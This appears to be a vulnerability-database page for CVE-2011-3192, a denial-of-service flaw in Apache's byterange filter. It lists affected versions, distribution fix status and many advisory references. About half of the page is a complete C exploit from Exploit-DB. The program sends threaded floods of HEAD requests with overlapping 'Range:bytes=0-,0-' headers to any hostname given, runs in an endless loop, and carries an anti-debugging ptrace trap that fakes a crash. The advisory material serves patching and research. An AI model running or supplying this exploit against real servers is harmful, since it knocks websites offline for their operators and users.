CVE-2011-3192
Description
The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache - Denial of Service
/*
* This is a reverse engineered version of the exploit for CVE-2011-3192 made
* by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
* Copyright 2011 Ramon de C Valle <rcvalle@redhat.com>
*
* Compile with the following command:
* gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
void ptrace_trap(void) __attribute__ ((constructor));
void
ptrace_trap(void) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
write(fileno(stdout), "Segmentation fault\n", 19);
exit(-1);
}
}
void
w4rn41dun14mu(int attr, int fg, int bg)
{
char command[13];
sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
printf("%s", command);
}
void
banner()
{
w4rn41dun14mu(0, 1, 0);
fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
stdout);
}
void
gime_er_mas()
{
printf("%c%s", 0x1b, "[2J");
printf("%c%s", 0x1b, "[1;1H");
puts("\nsorry dude there's an error...");
}
struct thread_info {
pthread_t thread_id;
int thread_num;
char *argv_string;
};
static void *
thread_start(void *arg)
{
struct thread_info *tinfo = (struct thread_info *) arg;
char hostname[64];
int j;
strcpy(hostname, tinfo->argv_string);
j = 0;
while (j != 10) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int sfd, s;
ssize_t nwritten;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = 0;
hints.ai_protocol = 0;
s = getaddrinfo(hostname, "http", &hints, &result);
if (s != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1)
continue;
if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
close(sfd);
}
if (result != NULL)
freeaddrinfo(result);
nwritten = write(sfd, "HEAD / HTTP/1.1\n"
"Host:localhost\n"
"Range:bytes=0-,0-\n"
"Accept-Encoding: gzip", 71);
if (nwritten == -1)
close(sfd);
usleep(300000);
j++;
}
return 0;
}
int
main(int argc, char *argv[])
{
int i;
struct thread_info tinfo;
banner();
if (argc <= 1) {
w4rn41dun14mu(0, 2, 0);
fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
return 0;
}
w4rn41dun14mu(0, 3, 0);
printf("[+] Attacking %s please wait in minutes ...\n", argv[1]);
while (1) {
i = 0;
while (i != 50) {
tinfo.thread_num = i;
tinfo.argv_string = argv[1];
pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);
usleep(500000);
i++;
}
}
}
Apache - Remote Memory Exhaustion (Denial of Service)
Metasploit modules
OS impact
SUSE Affected 4 releases
| Version | Status | Fixed in |
|---|---|---|
| 11.4 | Affected | โ |
| 11.3 | Affected | โ |
| 11 | Affected | โ |
| 10 | Affected | โ |
Ubuntu Affected 4 releases
| Version | Status | Fixed in |
|---|---|---|
| 11.04 | Affected | โ |
| 10.10 | Affected | โ |
| 10.04 | Affected | โ |
| 8.04 | Affected | โ |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.2.19-2 |
| sid | Fixed | 2.2.19-2 |
| forky | Fixed | 2.2.19-2 |
| bullseye | Fixed | 2.2.19-2 |
| bookworm | Fixed | 2.2.19-2 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| apache | http_server | {"startIncluding":"2.0.35","endExcluding":"2.0.65"} | 2.0.65 |
| apache | http_server | {"startIncluding":"2.2.0","endExcluding":"2.2.20"} | 2.2.20 |
References
- https://security-tracker.debian.org/tracker/CVE-2011-3192
- http://archives.neohapsis.com/archives/fulldisclosure/2011-08/0285.html
- http://blogs.oracle.com/security/entry/security_alert_for_cve_2011
- http://lists.apple.com/archives/Security-announce/2011//Oct/msg00003.html
- http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00006.html
- http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00009.html
- http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00010.html
- http://lists.opensuse.org/opensuse-security-announce/2011-09/msg00011.html
- http://lists.opensuse.org/opensuse-security-announce/2011-11/msg00008.html
- http://lists.opensuse.org/opensuse-security-announce/2011-11/msg00011.html
- http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3c20110824161640.122D387DD%40minotaur.apache.org%3e
- http://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3cCAAPSnn2PO-d-C4nQt_TES2RRWiZr7urefhTKPWBC1b+K1Dqc7g%40mail.gmail.com%3e
- http://marc.info/?l=bugtraq&m=131551295528105&w=2
- http://marc.info/?l=bugtraq&m=131731002122529&w=2
- http://marc.info/?l=bugtraq&m=132033751509019&w=2
- http://marc.info/?l=bugtraq&m=133477473521382&w=2
- http://marc.info/?l=bugtraq&m=133951357207000&w=2
- http://marc.info/?l=bugtraq&m=134987041210674&w=2
- http://osvdb.org/74721
- http://seclists.org/fulldisclosure/2011/Aug/175
- http://secunia.com/advisories/45606
- http://secunia.com/advisories/45937
- http://secunia.com/advisories/46000
- http://secunia.com/advisories/46125
- http://secunia.com/advisories/46126
CWEs
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